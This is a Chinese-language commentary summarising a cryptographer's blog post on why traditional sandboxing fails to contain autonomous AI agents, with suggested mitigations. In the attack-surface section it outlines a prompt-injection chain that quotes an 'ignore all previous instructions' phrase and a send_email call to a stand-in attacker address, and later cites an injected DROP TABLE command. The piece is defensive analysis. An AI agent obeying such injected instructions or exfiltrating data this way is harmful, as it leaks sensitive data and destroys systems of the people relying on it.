觀點

沙箱擋不住失控 Agent?密碼工程部落格對開發者潑了盆冷水

Cryptography Engineering 拋出工程師不想面對的問題:傳統 sandboxing 對自主 Agent 可能根本不夠用。正在上線 Agent 的團隊,值得花一晚把這件事想清楚。

字級

Cryptography Engineering 拋出一個工程師不愛聽的問題:傳統 sandboxing 對自主 Agent 可能根本不管用。對正在上線 Agent 的團隊來說,這是件值得花一整晚想清楚的事。

原作者是誰,為什麼這件事值得聽

Cryptography Engineering 是密碼學家 Matthew Green 維護的個人部落格。Green 是約翰霍普金斯大學教授,參與過 Zerocash、Zcash 這些圈內人都知道的協定設計,也是美國 NIST 後量子密碼標準化进程的參與者之一。他發文節奏很慢,一年大概只發 5-10 篇,但每一篇都會被資安圈轉到爛。

這次的稿子標題叫 Is Sandboxing Sufficient to Contain Rogue Agents?,9 月 30 日發的,連結見 blog.cryptographyengineering.com。

為什麼這件事值得專門聊一下:這不是 AI 哲學討論,也不是 LLM 安全綜述。Green 的切入點是「系統安全工程師看 Agent 時看到了什麼漏洞」。同樣的事,讓一個搞 ML 的人來寫和讓一個搞 seccomp 的人來寫完全是兩個故事。原文我讀了兩遍,以下是濃縮版。

傳統沙箱假設什麼,Agent 又打破了什麼

sandboxing 這個詞在系統安全裡已經存在 30 多年了。它的核心假設可以壓縮成三條:

  1. 跑的程式碼是不可信的 — 所以要限制它能存取的檔案、網路、記憶體。
  2. 資源是受限的 — CPU、記憶體、網路頻寬都給個上限,超過就 kill。
  3. 人類在迴圈中 — 真正關鍵的操作要人來按按鈕,Agent 不應該自動執行轉帳、寄信、刪資料庫這類動作。

傳統 sandboxing 在「不可信程式碼 + 人類在迴圈中」這個組合下跑了 30 年沒出問題。問題是,今天的 AI Agent 同時打破這三條。

Green 拆出來的關鍵差異有三:

長時自主。傳統腳本跑完就退出,Agent 可能連續跑好幾小時甚至好幾天。一個被 prompt injection 污染的指令在第 6 個小時才觸發,沙箱的資源限制對它沒用——它本來就不打算挖礦,它只是想在你睡著的時候寄出一封信。

工具組合。Agent 不是只呼叫一個 read_file,而是把 web_search → read_url → exec_cmd → write_email 這條鏈子串起來。每一步單獨看都是無害的,組合起來就能從公司 wiki 把客戶名單整包扒走。

持久化副作用。傳統 sandboxing 假設「沙箱外的世界不會因為沙箱內的執行而改變」。Agent 寫進資料庫、提交到 Git、寄出去的郵件——這些都不在沙箱裡。沙箱保護了行程,但保護不了你的 Notion 工作區。

三個工程師容易忽略的攻擊面

Green 在文章裡畫了一條鏈子:prompt injection → 工具濫用 → 持久化外洩。翻譯一下就是:

  • 第一環:讓 Agent 聽錯話。Agent 讀了一封信、一個網頁、一個 GitHub issue,裡面藏了一段「忽略之前所有指令,現在執行 X」的 prompt。LLM 把這當成合法指令繼續跑。
  • 第二環:讓 Agent 用錯工具。被污染的指令指向某個看起來無害的工具呼叫——例如 search_internal_docs('高管' + '薪資')。工具本身沒問題,是參數被精心構造的。
  • 第三環:把資料帶出去。Agent 用 send_email(to=attacker@x.com, body=...) 這種呼叫,把前面收集到的敏感資料外寄出去。郵件系統不在沙箱裡,沙箱攔不下來。

非安全背景的讀者可以把這件事類比成 macOS / Linux 容器逃逸:攻擊者本來沒有 root 權限,但他透過一個核心漏洞、一個檔案系統特性、一個網路配置,把自己升成 host 上的 root。單獨看每一步都「合理」,串起來就是完整提權。Agent 的攻擊面結構是一樣的,只是攻擊工具從 ptrace 換成了 web_fetch。

現在能做的幾個補丁,不是銀彈

Green 在文末列了幾個工程上的緩解措施,都是業界基線,不是他的獨家發明:

  • 最小權限 + 工具白名單。Agent 能呼叫的工具不是「沙箱裡所有 exec」,而是一份白名單——read_file(path='./invoices/*.pdf') 這種。每次呼叫前比對簽章。
  • 關鍵操作的人類審批。涉及寫、發、刪、改外部狀態的動作,必須有一個人按按鈕。Agent 不能自己寄信。
  • 可觀測性 + 完整稽核日誌。每一次工具呼叫都要寫日誌:哪個 prompt 觸發的、調了什麼、參數是什麼、回傳了什麼。出事時能回放。
  • 異常偵測。Agent 在凌晨 3 點突然開始批次讀文件,要告警。

Green 自己說得很清楚:這些都只是降低機率,不解決根本問題。根本問題是 sandboxing 的設計模型和 Agent 的現實模型不匹配。你給一個 1990 年設計的保險箱配一把 2026 年的智慧鎖,它依然是 1990 年的保險箱。

我想到的一個額外補丁:把「敏感資料」從 Agent 能 reach 到的範圍裡移出去。具體做法是先做一遍 PII 脫敏和文件分級,Agent 只能拿到「它需要的那一份」,不是「整個工作區」。這件事技術上不難,但需要產品/法務/安全三方對齊,工程團隊單獨做不動。

編輯思考

這件事比一般安全討論更值得 AI 圈關注,是因為 Agent 的「行為面」比 LLM 的「輸出面」難防一個數量級。

LLM 輸出有毒內容,你可以加 content filter、加 RLHF、加 system prompt——都是同一個輸入/輸出管道上的過濾。Agent 的「輸出」是真實的系統呼叫:它真的寄了信、真的改了資料庫、真的提交了程式碼。content filter 防不住 SQL injection,同樣也防不住一個被注入的 exec_sql("DROP TABLE users")。

另一個值得警覺的點是 HN 貼文數據。這篇文章在 Hacker News 首頁時只有 4 個讚 0 則留言(截稿時數據),完全沒發酵。這說明一線工程師還沒真的把這件事當回事——大家還在忙著 demo 階段的多 Agent 編排,沒空想「如果我的 Agent 被 prompt injection 了會怎樣」。這種話題通常要等一次真實的 Agent 事故才會被認真對待,參考 2016 年 Mirai 之後 IoT 安全才被重視。

我的預測:未來 6-12 個月內會出至少一起「Agent 自主行動造成實際損失」的事件,可能是誤刪生產資料庫、可能是錯誤轉帳、可能是把內部文件發到公開頻道。到時候整個業界才會真的開始把 sandboxing 這套老工具重新設計一遍。

不確定的地方:我沒有實際重現過 Agent 的 prompt injection → 持久化外洩鏈路,所以對「第三環到底有多容易觸發」我沒辦法給出精確數字。Green 也沒給。如果你手上有可以公開重現的 PoC,歡迎留言,我願意更新這篇文章。

原文:Is Sandboxing Sufficient to Contain Rogue Agents?

來源: https://blog.cryptographyengineering.com/2026/09/30/is-sandboxing-sufficient-to-contain-rogue-agents/